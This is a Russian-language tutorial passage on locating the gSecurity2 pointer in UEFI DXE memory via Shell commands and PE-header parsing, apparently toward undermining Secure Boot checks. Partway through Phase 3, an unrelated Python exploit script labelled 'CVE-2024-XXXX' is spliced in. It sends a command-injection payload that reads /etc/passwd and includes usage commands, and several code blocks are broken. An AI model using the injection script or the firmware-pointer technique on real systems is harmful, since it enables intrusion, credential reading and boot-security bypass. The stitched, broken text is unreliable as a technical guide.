**Шаг 2 — Проверка соседних дескрипторов**

`SecurityStubDxe` устанавливает протоколы Security на отдельном дескрипторе, обычно на том, который идёт сразу после него. Эти дескрипторы выглядят пустыми в кратком списке, поскольку Shell не может сопоставить их GUID с понятными именами. Проверьте их в подробном режиме:```
Shell> dh -v 11

Если дескриптор `0x11` не содержит эти GUID, попробуйте `0x12` — точный номер дескриптора зависит от сборки прошивки.

**Шаг 3 — Запись адреса интерфейса**

Два протокола и их адреса интерфейсов:

| GUID | Протокол | Адрес интерфейса |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |

**Адрес интерфейса Security2** (`0x3EE8C3A0` в этом примере) — это значение, хранимое глобальным указателем `gSecurity2` внутри DxeMain. Это значение необходимо для Фазы 3.

---

<div id='Phase3'/>

### ***Фаза 3 — Поиск gSecurity2 в памяти***

Переменная `gSecurity2` — это глобальный указатель внутри ядра DXE (`DxeMain`). Его значение равно адресу интерфейса протокола, найденному в Фазе 2. Цель — найти адрес памяти, по которому хранится этот указатель, — не значение указателя, а саму переменную.

**Шаг 1 — Получение структуры образа ядра DXE**```
Shell> dh -v 1

    def __init__(self, target, port, timeout=10, verbose=False):
        self.target = target
        self.port = port
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    def check_vulnerability(self):
        """Проверка, уязвим ли целевой сервер"""
        try:
            url = f"http://{self.target}:{self.port}/"
            response = self.session.get(url, timeout=self.timeout)
            
            if response.status_code == 200:
                # Проверка индикаторов уязвимости
                if "vulnerable" in response.text.lower():
                    return True
            return False
        except Exception as e:
            if self.verbose:
                print(f"[-] Ошибка при проверке: {e}")
            return False

    def exploit(self):
        """Эксплуатация уязвимости"""
        if not self.check_vulnerability():
            print("[-] Цель не уязвима")
            return False
        
        print("[+] Цель уязвима, начинаю эксплуатацию...")
        
        # Полезная нагрузка
        payload = {
            "cmd": "id",
            "args": ["; cat /etc/passwd"]
        }
        
        try:
            url = f"http://{self.target}:{self.port}/api/execute"
            response = self.session.post(url, json=payload, timeout=self.timeout)
            
            if response.status_code == 200:
                print("[+] Эксплуатация успешна!")
                print(f"[+] Результат: {response.text}")
                return True
            else:
                print(f"[-] Эксплуатация не удалась: {response.status_code}")
                return False
        except Exception as e:
            print(f"[-] Ошибка эксплуатации: {e}")
            return False

def main():
    parser = argparse.ArgumentParser(description='CVE-2024-XXXX Exploit')
    parser.add_argument('-t', '--target', required=True, help='Целевой хост')
    parser.add_argument('-p', '--port', type=int, default=80, help='Целевой порт')
    parser.add_argument('-v', '--verbose', action='store_true', help='Подробный вывод')
    
    args = parser.parse_args()
    
    exploit = Exploit(args.target, args.port, verbose=args.verbose)
    exploit.exploit()

if __name__ == "__main__":
    main()

# Базовая проверка
python3 exploit.py -t 192.168.1.100

# С указанием порта
python3 exploit.py -t 192.168.1.100 -p 8080

# Подробный режим
python3 exploit.py -t 192.168.1.100 -v

pip install requests urllib3

Запишите `ImageBase` (`0x3FE94000`).

**Шаг 2 — Разбор заголовков PE для поиска секции `.data`**

Секция `.data` содержит инициализированные глобальные переменные, включая `gSecurity2`. Вместо слепого сканирования всего образа разберите заголовки PE, чтобы найти точные границы `.data`.

Прочитайте заголовок MZ, чтобы получить смещение заголовка PE (DWORD по смещению `0x3C`):```
Shell> dmem <ImageBase> 100

Это означает, что подпись PE находится по смещению `0xC0` от `ImageBase`.

**Шаг 3 — Чтение таблицы секций**

Смещение таблицы секций вычисляется как:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader

Для образа UEFI PE32+ (x64) `SizeOfOptionalHeader` обычно равен `0xF0`. В нашем примере:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8

Каждая запись раздела занимает 40 байт:

| Смещение | Размер | Поле |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |

Найдите запись раздела `.data`. Пример вывода:```
3FE941F0: 2E 64 61 74 61 00 00 00   ← ".data"
3FE941F8: B0 9E 00 00               ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00               ← VirtualAddress (RVA) = 0x1AA60

**Шаг 4 — Поиск указателя на интерфейс в `.data`**

Найдите адрес интерфейса Security2 в порядке байтов little-endian в диапазоне `.data`. Для адреса интерфейса `0x3EE8C3A0` ищите:```
A0 C3 E8 3E 00 00 00 00

Продолжайте проходить по диапазону `.data`, пока не найдёте последовательность байтов. Указатели `gSecurity` (Security1) и `gSecurity2` (Security2) хранятся последовательно, поэтому ищите оба значения рядом друг с другом:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00   ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00   ← gSecurity  = 0x3EE8C398

Ожидаемый вывод:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00